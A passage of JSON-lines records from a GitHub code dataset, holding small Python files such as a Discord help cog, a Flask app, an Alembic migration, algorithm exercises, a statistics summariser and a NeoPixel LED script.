test_df_scaled, test_data)\n\n#Knn\nfit_predict_model(KNeighborsClassifier(metric='manhattan', n_neighbors=7, weights='distance'), 'kn', test_df_scaled, test_data)","repo_name":"rochelsorotzkin/titanic","sub_path":"Titanic final.py","file_name":"Titanic final.py","file_ext":"py","file_size_in_byte":5303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"2360010529","text":"import random\nimport logging\n\nfrom retry_helper import RetryManager\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\nclass Game:\n    def __init__(self):\n        self.max_number = 6\n\n    def roll_six_on_dice(self):\n        number = random.randint(1, self.max_number)\n        if number != self.max_number:\n            print(\"You roll\", number)\n            raise ValueError(\"Bad luck\")\n        else:\n            print(f\"Hurray you roll {self.max_number}!!!\")\n\n    def reset_func(self, text):\n        print(text, self.max_number)\n\n    def roll_until_six(self):\n        with RetryManager(max_attempts=3, wait_seconds=0, exceptions=(ValueError,), reset_func=self.reset_func,\n                          reset_func_kwargs={'text': \"Bad luck, try it again.\"}) as retry:\n            while retry:\n                with retry.attempt:\n                    self.roll_six_on_dice()\n\n\nGame().roll_until_six()\n","repo_name":"lancondrej/retry-helper","sub_path":"examples/context_example_with_reset_func_2.py","file_name":"context_example_with_reset_func_2.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"72968302512","text":"\"\"\"\nGiven an integer array nums, return the length of the longest strictly increasing subsequence.\n\nA subsequence is a sequence that can be derived from an array by deleting some or no elements without changing the order\nof the remaining elements. For example, [3,6,2,7] is a subsequence of the array [0,3,1,6,2,2,7].\n\nInput: nums = [10,9,2,5,3,7,101,18]\nOutput: 4\nExplanation: The longest increasing subsequence is [2,3,7,101], therefore the length is 4.\n\nInput: nums = [0,1,0,3,2,3]\nOutput: 4\n\nInput: nums = [7,7,7,7,7,7,7]\nOutput: 1\n\n1 <= nums.length <= 2500\n-104 <= nums[i] <= 104\n\nCan you come up with an algorithm that runs in O(n log(n)) time complexity?\n\"\"\"\nfrom bisect import bisect_left\n\nclass Solution:\n    def lengthOfLIS_DP(self, nums: list[int]) -> int:\n        # Time Complexity O(n^2)\n        # Space Complexity O(n)\n        dp = [1] * len(nums)\n        for i in range(1, len(nums)):\n            for j in range(i):\n                if nums[i] > nums[j]:\n                    dp[i] = max(dp[i], dp[j] + 1)\n\n        return max(dp)\n\n    def lengthOfLIS(self, nums: list[int]) -> int:\n        # Time Complexity O(nlogn)\n        # Space Complexity O(n)\n        res = [nums[0]]\n\n        for num in nums:\n            idx = bisect_left(res, num)\n\n            if idx == len(res):\n                res.append(num)\n            else:\n                res[idx] = num\n\n        return len(res)","repo_name":"shukhrat121995/coding-interview-preparation","sub_path":"dynamic_programming/longest_increasing_subsequence.py","file_name":"longest_increasing_subsequence.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34918479418","text":"# http://www.practicepython.org/solution/2014/04/02/08-rock-paper-scissors-solutions.html\n\nimport sys\n\nuser1 = input(\"enter your name : \")\nuser2 = input(\"enter your name as well : \")\n\nuser1_select = input(\"%s, what do you select (rock/paper/scissor) : \" % user1)\nuser2_select = input(\"%s, what do you select (rock/paper/scissor) : \" % user2)\n\nprint(user1_select)\nprint(user2_select)\n\n\ndef show_result(us1, us2):\n    print(\"checking for result...\")\n    if us1 == us2:\n        print(\"Tie\")\n    if us1 == \"rock\":\n        if us2 == \"scissor\":\n            print(\"rock wins\")\n        else:\n            print(\"paper wins\")\n    elif us1 == \"paper\":\n        if us2 == \"rock\":\n            print(\"paper wins\")\n        else:\n            print(\"scissor wins\")\n    elif us1 == \"scissor\":\n        if us2 == \"paper\":\n            print(\"scissor wins\")\n        else:\n            print(\"rock wins\")\n    else:\n        print(\"invalid inputs. pls retry\")\n\n\nshow_result(user1_select.strip(), user2_select.strip())\n","repo_name":"tommparekh/PythonExcercises","sub_path":"p8.py","file_name":"p8.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26589421563","text":"import discord\nfrom discord.ext import commands\nfrom utils import checks\n\nclass Help(commands.Cog):\n\tdef __init__(self, bot):\n\t\tself.bot = bot\n\n\t@commands.command(name=\"help\")\n\t@commands.check(checks.can_embed)\n\tasync def _help(self, ctx, *, command: str=None):\n\t\t\"\"\"Shows you a list of commands when a module is specified after.\"\"\"\n\t\tmodules = ['music', 'Music', 'Dev', 'dev', 'Info', 'info', 'Mod', 'mod', 'Fun', 'fun', '1', '2', '3', '4', '5']\n\t\tif command is None:\n\t\t\te = discord.Embed(colour=0x36393E)\n\t\t\te.set_author(icon_url=self.bot.user.avatar_url, name=f\"Kira's Modules:\")\n\t\t\te.description = \"\\n**1)** Dev\\n**2)** Info\\n**3)** Music\\n**4)** Mod\\n**5)** Fun\\n\"\n\t\t\te.description += f\"\\nNeed help on on how to use the help command? Use {ctx.prefix}help help.\"\n\t\t\te.set_thumbnail(url=self.bot.user.avatar_url)\n\t\t\tawait ctx.send(embed=e)\n\t\t\treturn\n\t\tif command is not None:\n\t\t\tif command == \"help\":\n\t\t\t\te = discord.Embed()\n\t\t\t\te.colour = 0x36393E\n\t\t\t\te.set_author(icon_url=self.bot.user.avatar_url, name=f\"Command Help:\")\n\t\t\t\te.description = \"Well, looks like someone needs help on how to use this command.\\n\"\n\t\t\t\te.description += \"No problem, let's get started.\\n\"\n\t\t\t\te.description += f\"First, you need to know the basics. The command starter is {ctx.prefix}help.\\n\\n\"\n\t\t\t\te.description += f\"__**Examples:**__\\n{ctx.prefix}help play\\n{ctx.prefix}help Music\\n{ctx.prefix}help myplaylists show\\n\\n\"\n\t\t\t\te.description += \"Well that's about it! If you still are not getting it, take a look at the gif attached below. 👇\"\n\t\t\t\te.set_image(url=\"http://lolis.is-my-k.ink/3c562961dc.gif\")\n\t\t\t\tawait ctx.send(embed=e)\n\t\t\t\treturn\n\t\t\telif command in modules:\n\t\t\t\tif command in ('1', 'Dev', 'dev'):\n\t\t\t\t\tmodule = \"Dev\"\n\t\t\t\telif command in ('2', 'Info', 'info'):\n\t\t\t\t\tmodule = \"Info\"\n\t\t\t\telif command in ('3', 'Music', 'music'):\n\t\t\t\t\tmodule = \"Music\"\n\t\t\t\telif command in ('4', 'Mod', 'mod'):\n\t\t\t\t\tmodule = \"Mod\"\n\t\t\t\telif command in ('5', 'Fun', 'fun'):\n\t\t\t\t\tmodule = \"Fun\"\n\t\t\t\tawait self.send_module_help(ctx, module)\n\t\t\telse:\n\t\t\t\tcmd = ctx.bot.get_command('{}'.format(command))\n\t\t\t\tif cmd:\n\t\t\t\t\ta = discord.Embed(colour=0x36393E)\n\t\t\t\t\ta.set_author(icon_url=self.bot.user.avatar_url, name=f\"Command Help:\")\n\t\t\t\t\ta.description = f\"{cmd.name} {cmd.signature}\\n\"\n\t\t\t\t\ta.description += f\"{cmd.short_doc}\\n\\n\"\n\t\t\t\t\ttry:\n\t\t\t\t\t\tif cmd.group:\n\t\t\t\t\t\t\ta.description += \"__**Sub Commands:**__\\n\"\n\t\t\t\t\t\t\te = cmd.commands\n\t\t\t\t\t\t\tm = \"\"\n\t\t\t\t\t\t\tfor f in e:\n\t\t\t\t\t\t\t\tm += f\"**{f.name} -** {f.short_doc}\\n\"\n\t\t\t\t\t\t\ta.description += m\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\t\t\t\t\ta.set_thumbnail(url=self.bot.user.avatar_url)\n\t\t\t\t\treturn await ctx.send(embed=a)\n\t\t\t\telse:\n\t\t\t\t\treturn await ctx.send(\"<:uncheck:433159805117399050> Sorry, I couldn't find that command.\")\n\t\t\n\tasync def send_module_help(self, ctx, module):\n\t\t\"\"\"You can't access this command list...\"\"\"\n\t\tif module == \"Dev\":\n\t\t\tif ctx.author.id == 170619078401196032:\n\t\t\t\tcmds = await self.buildCogHelp('Dev', 'REPL', 'Jishaku')\n\t\t\telse:\n\t\t\t\treturn await ctx.send(\"Oof, you're not a dev. No need to see the commands if you can't use them.\")\n\t\telif module == \"Mod\":\n\t\t\tcmds = await self.buildCogHelp('Mod', 'Settings')\n\t\telif module == \"Info\":\n\t\t\tcmds = await self.buildCogHelp('Info')\n\t\telif module == \"Music\":\n\t\t\tcmds = await self.buildCogHelp('Music')\n\t\telif module  == \"Fun\":\n\t\t\tcmds = await self.buildCogHelp('Fun', 'Sounds')\n\t\te = discord.Embed(colour=0x36393E)\n\t\te.description = f\"{cmds}\"\n\t\te.set_author(name=f\"{module} Commands:\", icon_url=ctx.author.avatar_url)\n\t\te.set_thumbnail(url=self.bot.user.avatar_url)\n\t\treturn await ctx.send(embed=e)\n\t\t\n\tasync def buildCogHelp(self, *modules):\n\t\tformatted = \"\"\n\t\tcog_fmt = \"**{cmd_name} -** {doc}\\n\"\n\t\tfor m in modules:\n\t\t\tfor c in self.bot.commands:\n\t\t\t\tif c.cog_name == m and not (c.hidden):\n\t\t\t\t\tif c.short_doc == '':\n\t\t\t\t\t\tdoc = \"No doc specified.\"\n\t\t\t\t\telse:\n\t\t\t\t\t\tdoc = c.short_doc\n\t\t\t\t\tformatted += cog_fmt.format(cmd_name=c.name, doc=doc)\n\t\t\treturn formatted.replace(\"```\", \"\")\n\t\t\t\ndef setup(bot):\n\tbot.remove_command(\"help\")\n\tbot.add_cog(Help(bot))\n","repo_name":"Jonny0181/Kira-Public","sub_path":"modules/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":4031,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"31248138346","text":"\"\"\"replace figshare oauth w/ personal token\n\nRevision ID: 2d1729557360\nRevises: b1e146e20467\nCreate Date: 2021-01-05 11:39:13.077740\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"2d1729557360\"\ndown_revision = \"b1e146e20467\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table(\"figshare_authorizations\")\n    op.add_column(\n        \"users\",\n        sa.Column(\"figshare_personal_token\", sa.String(length=128), nullable=True),\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"users\", \"figshare_personal_token\")\n    op.create_table(\n        \"figshare_authorizations\",\n        sa.Column(\"id\", sa.VARCHAR(length=80), autoincrement=False, nullable=False),\n        sa.Column(\"user_id\", sa.VARCHAR(length=80), autoincrement=False, nullable=True),\n        sa.Column(\n            \"figshare_account_id\", sa.INTEGER(), autoincrement=False, nullable=True\n        ),\n        sa.Column(\"token\", sa.TEXT(), autoincrement=False, nullable=False),\n        sa.Column(\"refresh_token\", sa.TEXT(), autoincrement=False, nullable=False),\n        sa.ForeignKeyConstraint(\n            [\"user_id\"], [\"users.id\"], name=\"fk_figshare_authorizations_user_id_users\"\n        ),\n        sa.PrimaryKeyConstraint(\"id\", name=\"pk_figshare_authorizations\"),\n    )\n    # ### end Alembic commands ###\n","repo_name":"broadinstitute/taiga","sub_path":"migrations/versions/2d1729557360_replace_figshare_oauth_w_personal_token.py","file_name":"2d1729557360_replace_figshare_oauth_w_personal_token.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"38"}
{"seq_id":"7463188000","text":"from time import sleep\nfrom os import environ\nimport requests\n\nfrom queue import SimpleQueue\n\n\ndef check_readiness() -> None:\n    print(\"Checking readiness...\")\n    sleep(5)\n    while True:\n        if not requests.get(f\"http://{environ['SELENIUM']}:4444/wd/hub/status\").json()[\"value\"][\"ready\"]:\n            print(\"Waiting...\")\n            sleep(0.5)\n        else:\n            print(\"Selenium is up and running.\")\n            return None\n\n\ndef main():\n    print(\"Starting...\")\n    url = \"thiswifecooks\"\n    url_empty = r\"22195726\"\n    url_404 = r\"12696989\"\n    url_no_followers = r\"1133772\"\n    main_seed = r\"16007298\"\n    luannea = \"luannea\"\n    seed = main_seed\n\n    profile_id_queue: SimpleQueue = SimpleQueue()\n    viewed_profiles: set = set()\n    review_set: set = set()\n    recipe_set: set = set()\n\n    check_readiness()\n\n    from lib import profile_scraper  # Imported only after readiness check.\n\n    # profile_scraper(url, profile_id_queue, viewed_profiles, review_set, recipe_set)\n    # profile_scraper(url_empty, profile_id_queue, viewed_profiles, review_set, recipe_set)\n    # profile_scraper(url_404, profile_id_queue, viewed_profiles, review_set, recipe_set)\n    # profile_scraper(url_no_followers, profile_id_queue, viewed_profiles, review_set, recipe_set)\n    profile_scraper(seed, profile_id_queue, viewed_profiles, review_set, recipe_set)\n\n    print(f\"Reviews count: {len(review_set)}\")\n    print(\"*\" * 60)\n    print(f\"viewed_profiles amount: {len(viewed_profiles)}\")\n    print(\"*\" * 60)\n    print(f\"Queued profiles amount: {profile_id_queue.qsize()}\")\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"tuxiqae/Friecipe","sub_path":"scraper/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"32920064874","text":"import csv\n\nwith open('output.csv', newline='', encoding='UTF-8') as csvfile:\n    flat_csv = csv.reader(csvfile, delimiter=';')\n    flats_list = list(flat_csv)\n# print(flats_list)\n\n\n# TODO 1\n# Напишите цикл, который проходит по всем квартирам, и печатает только новостройки и их порядковые номера в файле.\ntodo1_numbers = []\nfor i, flat in enumerate(flats_list):\n    if 'новостройка' in flat:\n        # print('\\n', i, flat)\n        todo1_numbers.append(i)\nprint('\\n', todo1_numbers, 'Квартир:', len(todo1_numbers),\n      'из', len(flats_list))\n\n# TODO 2:\n# При помощи пересечения множеств попробуйте сравнить больше двух новостроек между собой одновременно\nflats_intersection = set(flats_list[1]) & set(flats_list[4]) & set(flats_list[5]) & set(flats_list[6])\nprint(flats_intersection)\nprint(type(flats_intersection))\n\n# TODO 3:\n# Вот так мы превратили наш массив квартир в словарь, где ключом является уникальный номер объявления,\n# а значением - ссылка на страничку с объявлением.\n# Измените код так, чтобы стало наоборот.\ntest_dict = dict()\nfor i, flat in enumerate(flats_list):\n    if i == 0:\n        continue\n    #   test_dict[flat[0]] = flat[len(flat)-1]\n    test_dict[flat[len(flat) - 1]] = flat[0]\n# print(test_dict)\nprint(type(test_dict))\n\n# Каждую квартиру представляем словарем с ключами из flats_list[0].\n# Для удобства не включаем в словарь \"Описание\".\n# Словари закидываем в список.\n# В output.csv добавил: \"Тип дома\" между \"Этажей\" и \"Цена\"\n# и пустое поле между \"Лифт\" и \"Ссылка на объявление\" - стало лучше\n# (самые важные характеристики отображаются в соответствующих полях)\n# но на некоторых квартирах наблюдается незначительное съезжание\n# характеристик (нужно дальше разбираться с output.csv).\nlist_dict = list()\nfor i, flat in enumerate(flats_list):\n    if i == 0:\n        continue\n    flat_dict = dict()\n    for characteristic, value in zip(flats_list[0], flat):\n        if characteristic != 'Описание':\n            flat_dict[characteristic] = value\n    list_dict.append(flat_dict)\n# Выводим одну из квартир для контроля.\nprint('\\n', list_dict[11])\n\n# Рассчитаем среднюю цену за квартиры\nprices = list()\nfor flat in list_dict:\n    prices.append(int(flat['Цена']))\nprint(\"\\nСредняя цена:\", round(sum(prices) / len(prices)))\n# print('\\n', prices)\n\n\n# Выведем на какой станции больше всего предложений\nundergrounds = list()\nnum_offers = dict()\nfor flat in list_dict:\n    undergrounds.append(flat['Метро'])\nfor underground in set(undergrounds):\n    offer_count = undergrounds.count(underground)\n    num_offers[underground] = offer_count\nprint('\\n', num_offers)\n\n# Вариант 1\nmax_offer = 0\nfor underground, offer_count in num_offers.items():\n    if offer_count > max_offer:\n        max_offer = offer_count\n        max_underground = underground\nprint(\"\\n(Вар.1) Больше всего предложений на:\",\n      max_underground, '-', max_offer)\n\n# Вариант 2\nunderground_list = list()\noffers_list = list()\nfor underground, offer_count in num_offers.items():\n    underground_list.append(underground)\n    offers_list.append(offer_count)\nmax_offer_value = max(offers_list)\nmax_underground_index = offers_list.index(max_offer_value)\nprint(\"\\n(Вар.2) Больше всего предложений на:\",\n      underground_list[max_underground_index],\n      '-', max_offer_value)\n\n# Есть 27 предложений, где не указана станция метро,\n# возможно, из-за них съезжают характеристики.\n# Выведем эти предложения (ID).\nprint('\\nНе указаны станции метро для:')\nno_underground_ids = list()\nno_underground_indexes = list()\nfor i, flat in enumerate(list_dict):\n    if flat['Метро'] == '':\n        no_underground_ids.append(flat['ID'])\n        no_underground_indexes.append(i)\nprint(no_underground_ids)\n\n# Выведем одну из квартир без метро.\nprint(\"\\nОдна из квартир без указания станции метро\", list_dict[no_underground_indexes[0]])\n# Нет, не из-за них съезжают.","repo_name":"kosiginiv83/learning_repo","sub_path":"Python/1.Collections/flats.py","file_name":"flats.py","file_ext":"py","file_size_in_byte":4927,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"13978701569","text":"from django.urls import path, include\nfrom . import views\n\nurlpatterns = [\n    path('', views.home, name='home'),\n    path('dashboard/', views.dashboard, name='dashboard'),\n\n    path('browse/comics/', views.BrowseComics.as_view(), name='browse_comics'),\n\n    path('comics/<int:comic_id>/', views.comic_redirect, name='comic_redirect'),\n    path('comics/<int:comic_id>/<slug:slug>/', views.comic_detail, name='comic'),\n\n    path('characters/<int:character_id>/<slug:slug>/', views.character_detail, name='character'),\n    path('characters/<int:character_id>/', views.character_redirect, name='character_redirect'),\n\n    path('publishers/<int:publisher_id>/<slug:slug>/', views.publisher_detail, name='publisher'),\n    path('publishers/<int:publisher_id>/', views.publisher_redirect, name='publisher_redirect'),\n\n    path('creators/<int:creator_id>/<slug:slug>/', views.creator_detail, name='creator'),\n    path('creators/<int:creator_id>/', views.creator_redirect, name='creator_redirect'),\n    \n    path('teams/<int:team_id>/<slug:slug>/', views.team_detail, name='team'),\n    path('teams/<int:team_id>/', views.team_redirect, name='team_redirect'),\n    \n    path('genres/<slug:slug>/', views.genre_detail, name='genre'),\n]","repo_name":"kaboom-db/kaboom_old","sub_path":"web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"10182759267","text":"from stack import Stack\n\n\ndef reverse_string(string):\n    s = Stack()\n\n    for char in string:\n        s.push(char)\n\n    new_string = \"\"\n    while not s.is_empty():\n        new_string += s.pop()\n\n    return new_string\n\n\nif __name__ == \"__main__\":\n    test_cases = [\"test\", 'abcde', \"a\", \"\"]\n\n    for test_case in test_cases:\n        print(test_case, reverse_string(test_case))","repo_name":"V-Wong/DSA-in-Python","sub_path":"Stack/reverse_string.py","file_name":"reverse_string.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"45350926024","text":"#!/usr/bin/env python3\nimport math\n\ndef load_data(filename):\n    \"\"\" Takes a string corresponding to a data\n        file and returns a list of tuples,each\n        containing the subset name and a list of\n        floating point data values.\n\n        load_data(str) -> list<tuples<str, list<floats>>>\n        \"\"\"\n    file = open(filename, 'r')\n    data = []\n    for line in file:\n        line = line.strip()\n        line = line.split(',',1)\n        heights = []\n        for height in line[1].split(','):\n            heights.append(float(height))\n        a = line[0], heights\n        data.append(a)\n    file.close()\n    return data\n    \n    \ndef get_ranges(data):\n    \"\"\" Takes a list of floating point numbers\n        and returns a tuple with the min and max\n        value in the data set.\n\n        get_ranges(list<float>) -> (float, float)\n        \"\"\"\n    return min(data), max(data)\n        \ndef get_mean(data):\n    \"\"\" Returns the mean of the points from a\n        list of data.\n\n        get_mean(list<float>) -> float\n        \"\"\"\n    mean = sum(data)/len(data)\n    return mean\n\ndef get_median(data):\n    \"\"\" Takes a list of data points and returns\n        the median value of the data set.\n\n        get_median(list<float>) -> float\n    \"\"\"\n    data.sort()\n    n = len(data)\n    if n % 2 == 0:\n        x = int(n/2)\n        y = int(n/2-1)\n        a = ((data[x])+(data[y]))/2\n        return a\n    else:\n        b = int(n/2)\n        return data[b]\n\ndef get_std_dev(data):\n    \"\"\" Returns the standard deviation of data\n        points in the data list about the mean.\n\n        get_std_dev(list<float>) -> int\n    \"\"\"\n    mean = get_mean(data)\n    a = data\n    b = []\n    for x in a:\n        c = x - mean\n        c = c ** 2\n        b.append(c)\n    d = sum(b)/len(a)\n    d = math.sqrt(d)\n    return d\n\ndef display_with_padding(s):\n\t\"\"\"\n\tSomething to print stuff prettily.\n\n\tdisplay_with_padding(str) -> None\n\t\n\t\"\"\"\n\tprint(\"{0: <15}\".format(s), end = '')\n\ndef data_summary(data):\n    \"\"\" Returns a list of tuples containing the\n        summary statistics and name of each subset.\n\n        data_summary(list<tuples>) -> list\n    \"\"\"\n    summary = []\n    for i in data:\n        a = i[0], len(i[1]), get_mean(i[1]), get_median(i[1]), min(i[1]), \\\n            max(i[1]), get_std_dev(i[1])\n        summary.append(a)\n    return summary\n\ndef display_set_summaries(summary):\n    \"\"\" Displays the summary of information for the\n        supplied data set summaries.\n        \n        display_set_summaries(list<tuples>) ->  str\n    \"\"\"\n    words = {0 : 'Count:', 1 : 'Mean:', 2 : 'Median:' , 3 : 'Minimum:' , \\\n             4 : 'Maximum:', 5 : 'Std Dev:'}\n    print('Set Summaries\\n')\n    display_with_padding('')\n    c = 1\n    for i in summary:\n        display_with_padding(i[0])\n    print('')\n    for i in words:\n        display_with_padding(words[i])\n        for i in summary:\n            display_with_padding(round(i[c],2))\n        c += 1           \n        print('')\n        \ndef interact():\n    \"\"\" Top-level function that defines the text-\n        based user interface.\n\n        interact() -> text-based GUI\n    \"\"\"\n    print('Welcome to the Statistic Summariser\\n')\n    data = input('Please enter the data source file: ')\n    data = load_data(data)\n    while True:\n        response = input('\\nCommand: ')\n        response_splitted = response.split()\n        response_list = []\n        if response == 'q':\n            break\n        elif response == 'summary':\n            display_set_summaries(data_summary(data))\n        elif 'sets' in response_splitted:\n            for i in response_splitted[1:]:\n                response_list.append(data[int(i)])\n            display_set_summaries(data_summary(response_list))\n        else:\n            print('Unknown command:',response)\n     \n    \n\nif __name__ == '__main__':\n    interact()\n","repo_name":"llausa/StatisticSummeriser","sub_path":"statisticsummeriser.py","file_name":"statisticsummeriser.py","file_ext":"py","file_size_in_byte":3819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"27559190710","text":"import urllib.request, urllib.parse, urllib.error\nimport json\nimport ssl\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\n# Reserve parts of github URL\n# Raw github files are located with the following pattern:\n#\thttps://raw.githubusercontent.com/<user>/<repository>/<branch>/<path_to>/<filename>\ngithub_base_url = 'https://raw.githubusercontent.com'\ngithub_user = 'openfootball'\ngithub_repo = 'football.json'\ngithub_branch = 'master'\n\ngithub_filepath = '2010-11'\ngithub_file = 'en.1.clubs.json'\n\n# Build URL to desired file\nurl = '/'.join([github_base_url, github_user, github_repo, github_branch, github_filepath, github_file]) \n\nprint ('Retrieving {}'.format(url))\nuh = urllib.request.urlopen(url, context=ctx)\ndata = uh.read().decode()\nprint('Retrieved {} characters'.format(len(data)))\n\ntry:\n    js = json.loads(data)\nexcept:\n    js = None\n\nif not js or 'clubs' not in js:\n    print('==== Failure to retrieve ====')\n    print(data)\n    exit()\n    \n\nfor club in js['clubs']:\n    name = club['name']\n    code = club['code']\n    if code == None: code = ''\n    country = club['country']\n    print('{:<30}\\t{:<6}\\t{:<10}'.format(name, code, country))\n","repo_name":"aerodd/py4e_project","sub_path":"experiments/exp_test_retrieval_from_github.py","file_name":"exp_test_retrieval_from_github.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20905220156","text":"from flask import Flask, render_template\nimport requests\nimport random\nimport datetime as dt\n\napp = Flask(__name__)\n\nmain_template = \"index.html\"\n\n\n@app.route(\"/\")\ndef home():\n    # pass a variable to render_template() AFTER passing the template file\n    # the variable should be passed as a keyword arg, so that jinja can access\n    #   the variable from within the template file\n    random_num = random.randint(1, 10)\n    current_year = dt.datetime.now().year\n    creator_name = \"Dakota Bowman\"\n    return render_template(main_template, num=random_num, year=current_year, name=creator_name)\n\n\n@app.route(\"/guess/<name>\")\ndef guess(name):\n    response = requests.get(url=f\"https://api.agify.io?name={name}\")\n    age_str = response.json()[\"age\"]\n    name_str = response.json()[\"name\"]\n    response = requests.get(url=f\"https://api.genderize.io?name={name}\")\n    gender_str = response.json()[\"gender\"]\n    return render_template(\"guess.html\", name=name_str, gender=gender_str, age=age_str)\n\n\n@app.route(\"/blog/<num>\")\ndef get_blog(num):\n    print(num)\n    blog_url = \"https://api.npoint.io/fadd5ff9526b8ed9ee1f\"\n    blog_response = requests.get(url=blog_url)\n    all_posts = blog_response.json()\n    return render_template(\"blog.html\", posts=all_posts, rand_num=int(num))\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"fear-the-spear/100_days_of_python","sub_path":"days_51-60/day_57/my_project/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"3125797127","text":"import json\nimport zlib\nimport base64\n\nCONTENT = \"\"\"\n<\\!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>Simple Lambda@Edge Static Content Response</title>\n</head>\n<body>\n    <p>Hello from Lambda@Edge!</p>\n</body>\n</html>\n\"\"\"\n\ndef lambda_handler(event, context): \n    # Generate HTTP OK response using 200 status code with a gzip compressed content HTML body\n    buf = zlib.compress(CONTENT.encode('utf-8'))\n    base64EncodedBody = base64.b64encode(buf).decode('utf-8')\n    response = {\n        'headers': {\n            'content-type': [\n                {\n                    'key': 'Content-Type',\n                    'value': 'text/html; charset=utf-8'\n                }\n            ],\n            'content-encoding': [\n                {\n                    'key': 'Content-Encoding',\n                    'value': 'gzip'\n                }\n            ]\n        },\n        'body': base64EncodedBody,\n        'bodyEncoding': 'base64',\n        'status': '200',\n        'statusDescription': 'OK'\n    }\n    return response","repo_name":"Deenbe/cloudfront-workshop","sub_path":"2-lambda-at-Edge/LambdaFunctions/GzipContent.py","file_name":"GzipContent.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"32813554321","text":"# 제목 : 뱀과 사다리 게임\n# 분류 : BFS, Gold 5\n# 출처 : 백준 16928\n\nimport sys\nfrom collections import deque\n\nn, m = map(int, sys.stdin.readline().split())\n\nmove = [0] * 101\nfor _ in range(n+m):\n    a, b = map(int, sys.stdin.readline().split())\n    move[a] = b\n\nvisited = [False] * 101\nboard = [0] * 101\n\ndef game():\n    q = deque()\n    q.append((1,0))\n    visited[1] = True\n\n    while q:\n        current, t = q.popleft()\n        t += 1\n\n        for i in range(1, 7):\n            next = current + i\n            if next > 100 or visited[next]:\n                continue\n\n            visited[next] = True\n            if move[next]:\n                board[move[next]] = t\n                visited[move[next]] = True\n                q.append((move[next], t))\n            else:\n                board[next] = t\n                q.append((next, t))\n\ngame()\nprint(board[100])","repo_name":"41ow1ives/1day2solve","sub_path":"kyounghyeon/BOJ/DFS_BFS/16928.py","file_name":"16928.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"17380556358","text":"import time\nimport board\nimport neopixel\nimport math\n\n# Choose an open pin connected to the Data In of the NeoPixel strip, i.e. board.D18\n# NeoPixels must be connected to D10, D12, D18 or D21 to work.\npixel_pin = board.D18\n\n# The number of NeoPixels\nnum_pixels = 10\n\n# The order of the pixel colors - RGB or GRB. Some NeoPixels have red and green reversed!\n# For RGBW NeoPixels, simply change the ORDER to RGBW or GRBW.\nORDER = neopixel.GRB\n\npixels = neopixel.NeoPixel(pixel_pin, num_pixels * 2, brightness=1, auto_write=False,\n                           pixel_order=ORDER)\n\nrainbow_count = 0\n\n# Makes both sides the same\ndef dual(index, value):\n\n    pixels[index] = value\n    pixels[num_pixels * 2 - 1 - index] = value\n\n\ndef wheel(pos):\n    # Input a value 0 to 255 to get a color value.\n    # The colours are a transition r - g - b - back to r.\n    if pos < 0 or pos > 255:\n        r = g = b = 0\n    elif pos < 85:\n        r = int(pos * 3)\n        g = int(255 - pos * 3)\n        b = 0\n    elif pos < 170:\n        pos -= 85\n        r = int(255 - pos * 3)\n        g = 0\n        b = int(pos * 3)\n    else:\n        pos -= 170\n        r = 0\n        g = int(pos * 3)\n        b = int(255 - pos * 3)\n    return (r, g, b) if ORDER == neopixel.RGB or ORDER == neopixel.GRB else (r, g, b, 0)\n\n\ndef rainbow_cycle(wait=0.00001):\n\n    global rainbow_count\n\n    for i in range(num_pixels):\n        pixel_index = (i * 256 // num_pixels) + rainbow_count\n        #pixels[i] = wheel(pixel_index & 255)\n        dual(i, wheel(pixel_index & 255))\n    pixels.show()\n\n    rainbow_count += 1\n    rainbow_count %= 255\n    #time.sleep(wait)\n\ndef chase(color, direction):\n\n    pixels.fill((0, 0, 0))\n\n\n    if direction > 0:\n        index = int(time.time() * 20) % num_pixels\n\n    else:\n        index = num_pixels - int(time.time() * 20) % num_pixels\n\n    for i in 